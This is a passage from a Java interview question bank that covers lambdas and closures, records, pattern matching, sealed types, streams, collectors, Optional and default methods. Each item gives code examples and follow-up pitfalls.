- Non-async callbacks may run on the thread that completes the future, or the caller if already complete.

FOLLOW-UP TRAPS

- **Are `thenCombine` futures run in parallel?** They are independent; they run concurrently if each was started with async.
- **Which thread runs a plain `thenApply`?** The completing thread, or the caller if already done.

#completablefuture #composition

Q37 What is a closure and how do lambdas implement it? INTERMEDIATE

A closure is a function bundled with the variables it captured from its enclosing scope. In Java, captured locals are copied as values into the lambda instance, which is why they must be effectively final.

```
Function<Integer, Integer> adder(int n) { return x -> x + n; }
adder(5).apply(3); // 8
```

- Captured `this` makes a lambda hold the enclosing object, which can leak memory if the lambda is stored long-term.

FOLLOW-UP TRAPS

- **Does a long-lived lambda keep the outer object alive?** Yes, if it uses instance members.
- **Can closures capture loop variables?** Enhanced-for variables, yes (new per iteration); a classic `for` counter, no.

#closure #lambda #capture

Q38 What are Java records? BASIC

A record (final in Java 16) is a transparent immutable data carrier: `record Point(int x, int y) {}` generates private final fields, canonical constructor, accessors `x()`, `y()`, `equals`, `hashCode` and `toString`.

- Compact constructor validates or normalizes: `record Range(int lo, int hi) { Range { if (lo > hi) throw new IllegalArgumentException(); } }`.
- Records cannot extend classes, cannot declare instance fields beyond components, but can implement interfaces and have static members.

FOLLOW-UP TRAPS

- **Are records deeply immutable?** No, a `List` component can still be mutated; copy with `List.copyOf` in the constructor.
- **Can a record be a JPA entity?** No, entities need a no-arg constructor and mutability; use records for DTOs and projections.

#records #java16

Q39 Explain pattern matching for instanceof and switch.

INTERMEDIATE

`instanceof` patterns (Java 16) bind a typed variable: `if (o instanceof String s && s.length() > 3)`. Switch patterns (Java 21) match on type and guard with `when`, and the switch is an expression that must be exhaustive.

```
String describe(Object o) {
    return switch (o) {
        case null -> "null";
        case Integer i when i > 10 -> "big " + i;
        case Integer i -> "int " + i;
        case String s -> "str " + s;
        default -> "other";
    };
}
```

- Case order matters; a dominated pattern is a compile error.

FOLLOW-UP TRAPS

- **Does `switch (o)` accept null?** Not by default (NPE) unless `case null` is present in Java 21.
- **Scope of the pattern variable?** Only where the compiler can prove the match succeeded.

#pattern-matching #java21

Q40 What are record patterns?

ADVANCED

Record patterns (final in Java 21) deconstruct a record in a pattern, optionally nested.

```
sealed interface Shape permits Circle, Rect {}
record Circle(double r) implements Shape {}
record Rect(double w, double h) implements Shape {}

double area(Shape s) {
    return switch (s) {
        case Circle(double r) -> Math.PI * r * r;
        case Rect(double w, double h) -> w * h;
    };
}
```

FOLLOW-UP TRAPS

- **Is `default` needed above?** No, the sealed hierarchy makes the switch exhaustive.
- **Are record patterns allowed in enhanced for loops?** That preview feature was removed in Java 21.

#records #pattern-matching #java21

Q41 What are sealed classes and interfaces?

INTERMEDIATE

`sealed` (final in Java 17) restricts which classes can extend or implement a type via `permits`. Each permitted subtype must be `final`, `sealed` or `non-sealed`.

- Permitted subtypes must be in the same module (or same package in the unnamed module); `permits` can be omitted when all are in the same file.
- They give a closed set of subtypes, enabling exhaustive switches without `default`.

FOLLOW-UP TRAPS

- **Can a record be a permitted subtype?** Yes, records are implicitly final.
- **Do sealed types prevent reflection-based subclassing?** The JVM enforces `PermittedSubclasses` at class-load time.

#sealed #java17

Q42 What other language additions between Java 9 and 21 matter for interviews?

BASIC

Key additions: `var` (10), `List.of` / `Map.of` (9), switch expressions (14), text blocks (15), records (16), sealed classes (17), pattern switch and record patterns (21), `Stream.toList` (16), virtual threads (21), sequenced collections (21).

- `var` is local-only type inference, still statically typed.
- Text blocks use `"""` and strip incidental indentation.

FOLLOW-UP TRAPS

- **Is `var` dynamic typing?** No, the type is inferred at compile time.
- **Can `var` be used for lambdas?** No, there is no target type.

#java-versions #language-features

Q43 How do switch expressions differ from statements?

INTERMEDIATE

A switch expression yields a value, uses arrow cases with no fall-through, and must be exhaustive. Use `yield` inside a block.

```
int days = switch (month) {
    case FEB -> 28;
    case APR, JUN, SEP, NOV -> 30;
    default -> { log(month); yield 31; }
};
```

FOLLOW-UP TRAPS

- **Is fall-through possible with arrows?** No.
- **Exhaustive over an enum without `default`?** Yes, but a missing constant added later causes a runtime `MatchException` / `IncompatibleClassChangeError` unless recompiled.

#switch #java14

Q44 What are parallel streams and when are they appropriate?

INTERMEDIATE

`parallelStream()` splits the source with a `Spliterator` and runs stages on `ForkJoinPool.commonPool()` using fork/join, then combines results. It helps for CPU-bound, stateless, associative work on large, cheaply splittable sources.

- Good: `ArrayList`, arrays, `IntStream.range`. Poor: `LinkedList`, `Stream.iterate`, `BufferedReader.lines`.
- Rule of thumb: N x Q > 10,000 (elements times per-element cost).

FOLLOW-UP TRAPS

- **Is parallel always faster?** No, splitting, merging and thread handoff can dominate for small or cheap work.
- **How many threads?** Common pool parallelism = cores - 1, plus the calling thread.

#parallel-stream #forkjoin

Q45 What are the pitfalls of parallel streams?

ADVANCED

Shared common pool contention, non-thread-safe accumulation, order-dependent logic, blocking I/O inside tasks and unpredictable ordering.

- Blocking calls in a parallel stream starve the shared pool used by every other parallel stream and `CompletableFuture` default.
- Mutating shared state (`forEach(list::add)`) causes lost updates; use `collect`.
- `forEach` is unordered; `forEachOrdered` preserves order but loses parallel benefit.

- Isolation trick: submit the terminal operation to a custom `ForkJoinPool`; it relies on implementation behaviour.

> **FOLLOW-UP TRAPS**
> - **Does `findFirst` work in parallel?** Yes but it forces ordering and can be slow; `findAny` is cheaper.
> - **Does `parallel()` on a stream with a later `sequential()` call use both?** The last call wins for the whole pipeline.

#parallel-stream #pitfalls #concurrency

Q46 What is a Spliterator and how do characteristics affect streams? ADVANCED

A `Spliterator` traverses (`tryAdvance`, `forEachRemaining`) and splits (`trySplit`) a source. Its characteristics (`ORDERED`, `SIZED`, `SORTED`, `DISTINCT`, `IMMUTABLE`, `CONCURRENT`, `SUBSIZED`, `NONNULL`) let the framework skip work.

- `ArrayList` is `SIZED | SUBSIZED | ORDERED`, so splitting is balanced and `count()` can be O(1).
- `HashSet` is not ordered; `sorted()` on a `TreeSet` source can skip sorting (`SORTED`).
- `Stream.count()` may skip the pipeline entirely if size is known and no filtering stage exists (Java 9+), which means `peek` may not run.

> **FOLLOW-UP TRAPS**
> - **Does `list.stream().map(...).count()` run the map in Java 9+?** No, the size is known so it can skip execution.
> - **Why is `LinkedList` poor in parallel?** It splits by walking, giving uneven halves.

#spliterator #stream #internals

Q47 Primitive streams: IntStream, LongStream, DoubleStream. BASIC

Specialised streams avoid boxing and offer numeric terminals: `sum`, `average`, `min`, `max`, `summaryStatistics`. Convert with `mapToInt`, `mapToObj`, `boxed`.

```
int total = orders.stream().mapToInt(Order::qty).sum();
IntStream.rangeClosed(1, 5).sum(); // 15
```

- `average()` returns `OptionalDouble`; `sum()` of an empty stream is 0.
- `IntStream.sum()` overflows silently; use `LongStream` or `mapToLong` for large totals.

> **FOLLOW-UP TRAPS**
> - **Is `Stream<Integer>.sum()` available?** No; use `mapToInt(Integer::intValue).sum()` or `reduce`.
> - **`range` vs `rangeClosed`?** The end is exclusive versus inclusive.

#primitive-streams #boxing

Q48 How do iterate, generate, takeWhile and dropWhile work? INTERMEDIATE

`Stream.iterate(seed, f)` and `Stream.generate(supplier)` produce infinite streams; `iterate(seed, hasNext, next)` (Java 9) is bounded like a for loop. `takeWhile` / `dropWhile` slice by predicate on ordered streams.

```
Stream.iterate(1, i -> i < 100, i -> i * 2).toList(); // [1,2,4,...,64]
Stream.of(1, 2, 5, 1).takeWhile(i -> i < 3).toList();  // [1, 2]
```

> **FOLLOW-UP TRAPS**
> - **`takeWhile` versus `filter`?** `takeWhile` stops at the first failure; `filter` continues scanning.
> - **Is `generate` safe in parallel?** It is unordered and the supplier must be thread-safe.

#stream #infinite #java9

Q49 What does peek do and when should it be used?

BASIC

`peek(Consumer)` is an intermediate operation intended for debugging: it observes elements as they flow. It must not be relied on for side effects in production because it may be skipped (e.g. `count()` optimisation) or run out of order in parallel.

FOLLOW-UP TRAPS

- **Can `peek` mutate elements?** It can mutate mutable objects, but that is a code smell.
- **Does `peek` run if a short-circuit op stops early?** Only for elements actually pulled.

#stream #peek #debugging

Q50 What are the rules for non-interference and side effects in streams?

ADVANCED

Behavioural parameters must be non-interfering (do not modify the source during the pipeline) and, for most operations, stateless. Modifying an `ArrayList` source during traversal throws `ConcurrentModificationException`, usually at the terminal operation.

- Late-binding: a stream sourced from a collection reads the collection at terminal-op time, so modifications before the terminal op are visible.
- Side effects in `map` / `filter` hurt parallel correctness and readability.

FOLLOW-UP TRAPS

- **Can you modify the source in `forEach` of a concurrent collection?** Weakly consistent iterators tolerate it, but results are not deterministic.
- **Is `list.stream()` evaluated when called?** The source is bound at the terminal operation, not at `stream()` for most collections.

#stream #non-interference #side-effects

Q51 What is the difference between findFirst and findAny, and what does ordering mean in streams?

INTERMEDIATE

Streams from ordered sources (List, arrays) have an encounter order. `findFirst` returns the first in that order. `findAny` may return any element, which is cheaper in parallel.

- `unordered()` removes the constraint and can speed up `distinct`, `limit` and `collect` in parallel.
- `HashSet` streams have no meaningful encounter order.

FOLLOW-UP TRAPS

- **Will `findAny` on a sequential stream return the first?** Usually, but it is not guaranteed.
- **Does `map` preserve order?** Yes, ordering is preserved through stateless ops.

#stream #ordering #findfirst

Q52 Which functional-style design practices improve backend code?

INTERMEDIATE

Prefer pure functions and immutable data, push side effects to the edges, keep lambdas short (extract a named method or method reference), and avoid streams where a plain loop is clearer.

- Use `Function` / `Supplier` for strategy-like variation instead of class hierarchies.
- Name complex predicates (`Predicate<Order> isOverdue = ...`).
- Avoid checked exceptions in lambdas by wrapping in a small adapter, not by sneaky throws.

FOLLOW-UP TRAPS

- **Are streams always better than loops?** No; loops are clearer for indexed, early-exit or multi-accumulator logic.
- **Can a lambda throw a checked exception?** Only if the functional interface's method declares it.

#functional #best-practices

Q53 How do you handle checked exceptions inside lambdas? INTERMEDIATE

Standard functional interfaces declare no checked exceptions. Options: wrap in a try/catch in the lambda and rethrow as unchecked, define a custom functional interface that throws, or use a wrapper helper.

```
@FunctionalInterface interface ThrowingFn<T, R> { R apply(T t) throws Exception; }

static <T, R> Function<T, R> unchecked(ThrowingFn<T, R> f) {
    return t -> { try { return f.apply(t); } catch (Exception e) { throw new RuntimeException(e);
} };
}
```

FOLLOW-UP TRAPS

- **Is wrapping in `RuntimeException` always fine?** It loses typed handling; consider a domain-specific unchecked exception.
- **What happens to the stream when one element throws?** The pipeline aborts and no partial result is returned.

#lambda #exceptions #checked

Scenarios

Q54 What happens when a stream is consumed twice? BASIC

The second terminal call throws `IllegalStateException: stream has already been operated upon or closed`.

```
Stream<String> s = Stream.of("a", "b");
s.count();
s.count(); // IllegalStateException
```

- Fix: create a new stream from the source, or use a `Supplier<Stream<T>>`.

FOLLOW-UP TRAPS

- **Does calling an intermediate op twice on the same stream reference fail?** Yes, e.g. `s.filter(..)` then `s.map(..)`.
- **Can you collect to a list and stream again?** Yes, that is the usual workaround.

#stream #reuse

Q55 What is printed by this lazy pipeline? INTERMEDIATE

Nothing, because there is no terminal operation.

```
Stream.of(1, 2, 3).peek(System.out::println).map(i -> i * 2);
```

Adding `.toList()` prints `1 2 3`, one per line, in order.

FOLLOW-UP TRAPS

- **What with `.count()` instead on a `List.stream()` source?** In Java 9+ nothing prints for sized sources without filter, because `count` is computed from the size.
- **What with `.filter` before `count`?** It prints, because the size is no longer known.

#stream #lazy #peek

Q56 What is the output of interleaved filter and map? INTERMEDIATE

Elements flow one at a time through the whole chain.

```
Stream.of("x", "yy", "zzz")
    .filter(s -> { System.out.print("F" + s + " "); return s.length() > 1; })
    .map(s -> { System.out.print("M" + s + " "); return s; })
    .collect(Collectors.toList());
// Fx Fyy Myy Fzzz Mzzz
```

FOLLOW-UP TRAPS

- **Would `sorted()` in the middle change the interleaving?** Yes, everything before `sorted` completes first.
- **Same output for a parallel stream?** No, the order of prints is nondeterministic.

#stream #ordering

Q57 toMap throws on a duplicate; how do you build a lookup by id safely? INTERMEDIATE

Two users share an email, so `toMap(User::email, Function.identity())` throws `IllegalStateException`. Decide the policy and encode it in the merge function.

```
Map<String, User> latest = users.stream().collect(Collectors.toMap(
    User::email, u -> u,
    BinaryOperator.maxBy(Comparator.comparing(User::updatedAt))));
```

- Or group into `Map<String, List<User>>` if duplicates are legitimate.
- Silently keeping `(a, b) -> a` hides data problems; log or reject if duplicates are unexpected.

FOLLOW-UP TRAPS

- **What if a value is null?** `toMap` throws NPE; use `groupingBy` or filter nulls.
- **Which map type results?** `HashMap`; pass a 4th argument for `LinkedHashMap` / `TreeMap`.

#collectors #tomap #backend

Q58 Aggregate order totals per customer. BASIC

Use `groupingBy` with `summingDouble`, or with `BigDecimal` use `reducing`.

```
Map<Long, BigDecimal> totals = orders.stream().collect(
    Collectors.groupingBy(Order::customerId,
        Collectors.reducing(BigDecimal.ZERO, Order::amount, BigDecimal::add)));
```

- Never use `double` for money; `summingDouble` rounds incorrectly.
- Empty input yields an empty map, not zero rows.

FOLLOW-UP TRAPS

- **Would `mapToDouble(...).sum()` be acceptable for a report?** Only with tolerance, never for ledgers.
- **How to sort the result by total?** Stream `entrySet()` with `Map.Entry.comparingByValue()`.

#collectors #groupingby #aggregation

Q59 Top 3 customers by revenue. INTERMEDIATE

Group and sum, then sort entries descending and limit.

```
List<Long> top3 = totals.entrySet().stream()
    .sorted(Map.Entry.<Long, BigDecimal>comparingByValue().reversed())
    .limit(3)
    .map(Map.Entry::getKey)
    .toList();
```

- For very large maps use a bounded `PriorityQueue` of size 3, which is O(n log 3).
- Ties are resolved by encounter order since `sorted` is stable.

FOLLOW-UP TRAPS

- **Why the explicit `<Long, BigDecimal>` type witness?** Without it, `reversed()` on the inferred comparator fails to type-check.
- **Do it in SQL instead?** For data already in a DB, `ORDER BY ... LIMIT` is far cheaper than loading all rows.

#collectors #sorting #aggregation

Q60 Remove duplicates from a list of objects by one field. INTERMEDIATE

`distinct()` uses `equals`. For a field-based dedupe, key by the field and keep the first.

```
List<User> unique = new ArrayList<>(users.stream().collect(Collectors.toMap(
    User::email, u -> u, (a, b) -> a, LinkedHashMap::new)).values());
```

- Alternative: stateful filter with a `Set<String> seen` and `seen.add(u.email())`, valid only for sequential streams.
- Record types get field-based `equals`, so `distinct()` works directly.

FOLLOW-UP TRAPS

- **Is the `seen::add` filter safe in parallel?** Not with a plain `HashSet`; use `ConcurrentHashMap.newKeySet()`, and order is not preserved.
- **Does `distinct` keep the first occurrence?** Yes on ordered streams.

#dedupe #distinct #backend

Q61 Implement in-memory pagination with streams. BASIC

`skip((page - 1) * size).limit(size)`; sort first to give a stable order.

```
List<Item> pageOf(List<Item> all, int page, int size) {
    return all.stream()
        .sorted(Comparator.comparing(Item::id))
        .skip((long) (page - 1) * size)
        .limit(size)
        .toList();
}
```

- Cast to `long` to avoid `int` overflow on large pages.
- Paginating the full list in memory is only acceptable for small data; for large data push `LIMIT/OFFSET` or keyset pagination to the database.

FOLLOW-UP TRAPS

- **What if `skip` exceeds size?** Empty stream, no exception.
- **Is it fine to `sorted` each request?** It is O(n log n); sort once or in the DB.

#pagination #skip #limit

Q62 Split items into valid and invalid in one pass. BASIC

```
Map<Boolean, List<Order>> parts = orders.stream()
    .collect(Collectors.partitioningBy(o -> o.amount().signum() > 0));
List<Order> valid = parts.get(true);
List<Order> rejected = parts.get(false);
```

- Both keys exist even when the list is empty, so `get` never returns null.
- Use `partitioningBy(p, counting())` for counts only.

FOLLOW-UP TRAPS

- **Is the returned map modifiable?** Do not rely on it; treat it as read-only.
- **Two filters instead?** That traverses twice and evaluates the predicate twice.

#partitioningby #validation

Q63 Compute count and average in one pass. ADVANCED

Use `teeing` or `summarizingDouble`.

```
var r = prices.stream().collect(Collectors.teeing(
    Collectors.summingDouble(Double::doubleValue),
    Collectors.counting(),
    (sum, n) -> n == 0 ? 0.0 : sum / n));
```

- `DoubleSummaryStatistics` gives min, max, sum, count and average without teeing.
- Guard against divide-by-zero on an empty stream.

FOLLOW-UP TRAPS

- **What does `average()` return for empty input?** `OptionalDouble.empty()`.
- **Why not call `stream()` twice?** A one-shot source (e.g. `Files.lines`) cannot be replayed.

#teeing #statistics

Q64 A parallel stream adds to an ArrayList. What happens? INTERMEDIATE

Behaviour is undefined: lost elements, `ArrayIndexOutOfBoundsException`, or null slots.

```
List<Integer> out = new ArrayList<>();
IntStream.range(0, 100_000).parallel().forEach(out::add); // unsafe
```

- Fix: `.boxed().collect(Collectors.toList())`, which uses per-thread containers.
- `Collections.synchronizedList` would be correct but contended.

FOLLOW-UP TRAPS

- **Would `Vector` fix it?** It is thread-safe but ordering is still arbitrary.
- **Is a sequential stream fine with `forEach(out::add)`?** Works, but `collect` is clearer.

#parallel-stream #thread-safety

Q65 A parallel stream calls a slow HTTP service per element. Why is the whole app slow? ADVANCED

Blocking threads of the shared `ForkJoinPool.commonPool()` (cores - 1 threads) starve every other parallel stream and default `CompletableFuture` task in the JVM.

- Use a dedicated executor with `CompletableFuture.supplyAsync(task, ioExecutor)`, or virtual threads (Java 21) for blocking I/O.
- Bound concurrency, apply timeouts and rate-limit downstream.
- Streams are for CPU-bound data processing, not I/O fan-out.

FOLLOW-UP TRAPS

- **Can you set the pool size for a parallel stream?** Via `-Djava.util.concurrent.ForkJoinPool.common.parallelism`, or by running inside a custom `ForkJoinPool`.
- **Does `parallel()` guarantee more threads than cores?** No.

#parallel-stream #commonpool #io

Q66 Result of reduce with a non-associative operation in parallel? ADVANCED

```
IntStream.rangeClosed(1, 4).parallel().reduce(0, (a, b) -> a - b);
```

Sequentially this is `((((0-1)-2)-3)-4) = -10`. In parallel the pipeline splits and the combiner subtracts partial results, so the answer can differ (for example -2 or others) from run to run.

- Operators must be associative; identity must satisfy `op(identity, x) == x`.

- `reduce(1, (a, b) -> a + b)` has a non-neutral identity and returns different results when split.

FOLLOW-UP TRAPS

- **Is `Integer::sum` safe?** Yes, associative and commutative.
- **Is string concat associative?** Yes but not commutative; order must be preserved, which `reduce` does for ordered streams.

#reduce #parallel-stream #associativity

Q67 What does this Optional code print? INTERMEDIATE

```
Optional<String> o = Optional.of("a");
String r = o.orElse(compute());
```

`compute()` is executed even though `o` is present, so any side effect or cost happens. With `orElseGet(this::compute)` it is skipped.

FOLLOW-UP TRAPS

- **Does `orElseThrow(() -> new X())` construct the exception when present?** No, the supplier is lazy.
- **Is `or(() -> Optional.of(...))` lazy?** Yes (Java 9).

#optional #orelse #side-effects

Q68 Refactor nested null checks with Optional. INTERMEDIATE

```
// before
if (order != null && order.customer() != null && order.customer().address() != null)
    return order.customer().address().city();
return "UNKNOWN";

// after
return Optional.ofNullable(order)
    .map(Order::customer)
    .map(Customer::address)
    .map(Address::city)
    .orElse("UNKNOWN");
```

- Better still: design domain types to avoid null in the first place.
- Allocation of Optional objects is negligible outside hot loops.

FOLLOW-UP TRAPS

- **What does `map` do if `Order::customer` returns null?** Chain becomes empty and falls to `orElse`.
- **Should `Order.customer()` itself return Optional?** Only if absence is a legitimate state.

#optional #refactoring

Q69 A repository method returns Optional<List>. What is wrong? BASIC

Collections already express "none" with an empty collection, so double wrapping forces callers to handle two empty states. Return `List<Order>` and never return `null`.

- Spring Data `findAll...` returns empty collections, not null.
- Reserve `Optional` for single-value lookups like `findById`.

FOLLOW-UP TRAPS

- **Optional vs `OptionalInt`?** The primitive variant avoids boxing.
- **What about `Optional<Map<..>>`?** Same issue as lists.

#optional #antipatterns #collections

Q70 Optional.get() throws in production. What are the safer options?

BASIC

`get()` on empty throws `NoSuchElementException`. Prefer `orElseThrow()` (no-arg, Java 10) which signals intent, or a domain exception.

```
User u = repo.findById(id)
    .orElseThrow(() -> new UserNotFoundException(id));
```

- Use `ifPresentOrElse` when both branches have side effects.
- Do not guard `get` with `isPresent` as a habit; `map` / `orElse` are clearer.

FOLLOW-UP TRAPS

- **Does `orElseThrow()` differ from `get()`?** Same behaviour, but the name signals that the throw is intentional.
- **Does `orElseThrow(Supplier)` allow checked exceptions?** Yes, `<X extends Throwable>`.

#optional #get #nosuchelement

Q71 A field uses Optional in a JPA entity. What happens?

INTERMEDIATE

JPA/Hibernate does not map `Optional<T>` fields: you get a mapping error or the field is treated as a basic type with no converter. The usual practice is a nullable field with an `Optional` getter.

```
private String nickname; // nullable column
public Optional<String> getNickname() { return Optional.ofNullable(nickname); }
```

- Optional is also not `Serializable`, which breaks Java serialization and some caches.
- Jackson needs `jackson-datatype-jdk8` to serialise Optional sensibly, and still renders absent values awkwardly.

FOLLOW-UP TRAPS

- **Optional as a method parameter?** Avoid; use overloads or nullable with documentation.
- **Optional in a DTO?** Discouraged; use `null`/absent field semantics.

#optional #jpa #antipatterns

Q72 flatMap to collect unique tags across orders.

BASIC

```
Set<String> tags = orders.stream()
    .flatMap(o -> o.tags().stream())
    .collect(Collectors.toCollection(TreeSet::new));
```

Result: sorted set of all distinct tags. A `null` `tags()` list would throw NPE, so return an empty list or wrap with `Optional.ofNullable(...).stream().flatMap(List::stream)`.

FOLLOW-UP TRAPS

- **`map(o -> o.tags().stream())` instead?** You get `Stream<Stream<String>>`, not flattened.
- **Is `flatMap` lazy for infinite inner streams?** Before Java 10, inner streams were fully consumed even with `limit`; fixed in Java 10.

#flatmap #distinct

Q73 Count words by frequency.

BASIC

```
Map<String, Long> freq = Arrays.stream(text.toLowerCase().split("\\W+"))
    .filter(w -> !w.isEmpty())
    .collect(Collectors.groupingBy(Function.identity(), Collectors.counting()));
```

- Values are `Long`, not `Integer`; use `summingInt(w -> 1)` for `Integer`.
- For `"a b a"` the result is `{a=2, b=1}` (map order unspecified).

FOLLOW-UP TRAPS

- **Why filter empty strings?** Leading separators make `split` return an empty first token.
- **Alternative using `merge`?** `map.merge(w, 1, Integer::sum)` in a loop.

#groupingby #counting

Q74 Group orders by month and sum, keeping months sorted. INTERMEDIATE

```
Map<YearMonth, BigDecimal> byMonth = orders.stream().collect(
    Collectors.groupingBy(o -> YearMonth.from(o.createdAt().atZone(ZoneOffset.UTC)),
        TreeMap::new,
        Collectors.reducing(BigDecimal.ZERO, Order::amount, BigDecimal::add)));
```

- Decide the business timezone for the month boundary; UTC vs customer zone gives different groups.
- `TreeMap` gives chronological iteration.

FOLLOW-UP TRAPS

- **Why not `LocalDateTime` as the key?** Too fine-grained; also zone-less.
- **Is `YearMonth` a valid map key?** Yes, immutable with `equals` / `hashCode`.

#groupingby #treemap #datetime

Q75 A groupingBy classifier returns null for some rows. What happens? INTERMEDIATE

`NullPointerException: element cannot be mapped to a null key`. Map nulls to a sentinel.

```
Collectors.groupingBy(u -> Optional.ofNullable(u.country()).orElse("UNKNOWN"))
```

- `HashMap` itself allows null keys, but `groupingBy` rejects them explicitly.
- `partitioningBy` has no such issue because keys are booleans.

FOLLOW-UP TRAPS

- **Can `toMap` have null keys?** Keys may be null in `HashMap.merge`? The value must be non-null; null values throw NPE.
- **How to avoid the sentinel?** Filter nulls into a separate bucket via `partitioningBy` first.

#groupingby #null

Q76 Why does this lambda not compile, and how do you fix it? BASIC

```
int total = 0;
list.forEach(x -> total += x); // error: local variables referenced from a lambda must be final
or effectively final
```

Fix with a terminal operation: `int total = list.stream().mapToInt(Integer::intValue).sum();`. Using `AtomicInteger` compiles but is an anti-pattern for what is a reduction.

FOLLOW-UP TRAPS

- **Would `int[] t = {0}; list.forEach(x -> t[0] += x);` compile?** Yes, but it is unsafe in parallel and unidiomatic.
- **Would it work if `total` was a field?** Yes, fields are not captured by copy.

#effectively-final #compile-error

Q77 What does this loop-capture code print?

INTERMEDIATE

```
List<Runnable> rs = new ArrayList<>();
for (int i = 0; i < 3; i++) {
    int copy = i;
    rs.add(() -> System.out.print(copy + " "));
}
rs.forEach(Runnable::run); // 0 1 2
```

Using `i` directly does not compile because `i` is mutated. With an enhanced `for (int v : arr)`, each iteration has a fresh variable so capture works.

FOLLOW-UP TRAPS

- **Does JavaScript-style "all print 3" happen in Java?** No, captures are by value.
- **Is `copy` effectively final?** Yes, assigned once per iteration.

#closure #loops #capture

Q78 Two interfaces provide the same default method. What happens?

INTERMEDIATE

`class C implements A, B` where both have `default hi()` fails with "types A and B are incompatible; class C inherits unrelated defaults for hi()". Override in `C` and delegate with `A.super.hi()`.

- If `B extends A` and overrides `hi()`, `B` wins; no error.
- If `C` extends a class that defines `hi()`, the class method wins.

FOLLOW-UP TRAPS

- **If A is an abstract class instead of interface?** A class method (abstract or concrete) wins; an abstract one forces `C` to implement.
- **Can `C` call `A.super.hi()` if it does not directly implement A?** No.

#default-methods #diamond #compile-error

Q79 A default method was added to a widely implemented interface. What can still break?

ADVANCED

Source and binary compatibility is mostly kept, but conflicts arise if an implementer's superclass or another interface already declares a same-signature method with a different return type, or incompatible `final`/visibility semantics (default methods are public).

- Class methods that are not public cannot implement an interface method (compile error).
- Libraries such as `Collection.removeIf` (Java 8) clashed with some custom collections that already had `removeIf`.

FOLLOW-UP TRAPS

- **Can a default method call abstract methods of the interface?** Yes, template-method style.
- **Is it safe to add an abstract method instead?** No, it breaks all implementers.

#default-methods #compatibility

Q80 Debug a stream pipeline that returns wrong results.

INTERMEDIATE

Split the pipeline into named intermediate variables or use `peek` temporarily to see element flow. Remember laziness: a debugger breakpoint in a lambda is hit per element, interleaved.

```
list.stream()
    .peek(x -> log.debug("in {}", x))
    .filter(Item::active)
    .peek(x -> log.debug("active {}", x))
    .map(Item::price)
    .toList();
```

- IntelliJ's "Trace Current Stream Chain" visualises each stage.
- Extract complex lambdas into named methods so stack traces are readable.
- Remove `peek` before shipping.

FOLLOW-UP TRAPS

- **Why does a breakpoint hit inside `map` only after the terminal op?** Laziness.
- **Why are stack traces so deep?** Pipeline stages and `ReferencePipeline` frames sit between your lambda and the caller.

#debugging #peek #streams

Q81 Why does a stream over a modified list throw? INTERMEDIATE

```
list.stream().forEach(x -> { if (x < 0) list.remove(x); });
```

Throws `ConcurrentModificationException` (for `ArrayList`) because the source is structurally modified during traversal, violating non-interference. Use `list.removeIf(x -> x < 0)` or collect into a new list.

FOLLOW-UP TRAPS

- **When is the exception raised?** Often at the end of `forEachRemaining`, not at the removal itself.
- **Does a stream over `CopyOnWriteArrayList` throw?** No, it iterates a snapshot.

#stream #concurrentmodificationexception

Q82 What does `list.stream().map(this::expensive).count()` do in Java 17? ADVANCED

Because the list is `SIZED` and `map` preserves size, `count()` returns the size directly (Java 9+) and `expensive` is never called. In Java 8 it was always executed.

- Do not rely on side effects inside `map` / `peek` to be executed.
- Adding a `filter` or `flatMap` removes the size info and the pipeline runs.

FOLLOW-UP TRAPS

- **How do you force execution?** Use a `forEach` / `collect` or a non-sized stage.
- **Does this apply to `limit`?** `limit` also affects size info; behaviour depends on the stages.

#count #spliterator #optimisation

Q83 Compare a for loop and a stream for a hot path. ADVANCED

For tight loops over small data a plain loop is usually faster: no lambda allocation, no pipeline objects, better JIT inlining. For moderate data the difference is negligible and clarity matters more.

- Boxed streams (`Stream<Integer>`) are much slower than `IntStream` or arrays.
- Streams add ~tens of nanoseconds of setup; irrelevant outside very hot paths.
- Measure with JMH, not `System.nanoTime` in `main`; JIT warm-up skews results.
- Parallel only after measuring.

FOLLOW-UP TRAPS

- **Are streams O(n) slower?** Same complexity; constant factors differ.
- **Do capturing lambdas allocate in a loop?** Yes, one instance per evaluation unless the JIT's escape analysis removes it.

#performance #streams #loops

Q84 Why is boxing a hidden cost in stream code? INTERMEDIATE

`Stream<Integer>` stores `Integer` objects; `sum` via `reduce(0, Integer::sum)` unboxes and reboxes. Use `mapToInt(...).sum()` to stay primitive.

- Integer cache covers only -128..127; others allocate.
- `Collectors.summingInt` and `averagingInt` avoid reboxing of the accumulator via arrays internally.

> **FOLLOW-UP TRAPS**
> - **Does `IntStream.boxed()` cost?** Yes, allocation per element.
> - **Can the JIT remove boxing?** Sometimes via escape analysis, not reliably across stream stages.

#performance #boxing #primitive-streams

Q85 What is wrong with using a stream for a simple existence check? BASIC

`list.stream().filter(p).count() > 0` scans the whole list. `anyMatch(p)` stops at the first hit.

- For membership use `Set.contains` (O(1)) instead of a stream over a list.
- `noneMatch(p)` is the negative form.

> **FOLLOW-UP TRAPS**
> - **`filter(p).findFirst().isPresent()` vs `anyMatch`?** Equivalent behaviour; `anyMatch` is clearer.
> - **`allMatch` on an empty list?** `true`.

#anymatch #performance

Q86 Convert a List to Map<id, Order> while preserving insertion order. BASIC

```
Map<Long, Order> byId = orders.stream().collect(Collectors.toMap(
    Order::id, Function.identity(),
    (a, b) -> { throw new IllegalStateException("dup id " + a.id()); },
    LinkedHashMap::new));
```

A custom merge function that throws gives a clearer message and preserves order via the map supplier. The default `toMap` would yield a `HashMap`.

> **FOLLOW-UP TRAPS**
> - **Can `Function.identity()` be replaced by `o -> o`?** Equivalent.
> - **Is `Collectors.toUnmodifiableMap` an option?** Yes, immutable and rejects nulls.

#tomap #linkedhashmap

Q87 Parallel stream combined with a stateful lambda, what goes wrong? ADVANCED

```
AtomicInteger seq = new AtomicInteger();
list.parallelStream().map(x -> x + "-" + seq.incrementAndGet()).toList();
```

Counter values are assigned in execution order, not encounter order, so the output list order is preserved but the numbers are scrambled. The result changes run to run.

- Use `IntStream.range` with indices, or assign ids after collecting.
- `Stream.toList()` keeps encounter order for ordered sources even in parallel.

> **FOLLOW-UP TRAPS**
> - **Is the result list order preserved?** Yes, collection into a list respects encounter order.
> - **Is `AtomicInteger` here a memory-safety issue?** No, a determinism issue.

#parallel-stream #stateful #nondeterminism

Q88 Process a very large file with streams. INTERMEDIATE

`Files.lines(path)` is lazy and constant-memory, but it holds an open file handle; close it with try-with-resources.

```
try (Stream<String> lines = Files.lines(path)) {
    long errors = lines.filter(l -> l.contains("ERROR")).count();
}
```

- Throws `UncheckedIOException` on read errors mid-stream.
- Parallel splitting is poor for `Files.lines` on small files; it works better on large files via a special spliterator, but measure.

FOLLOW-UP TRAPS

- **What if you forget to close it?** File descriptor leak.
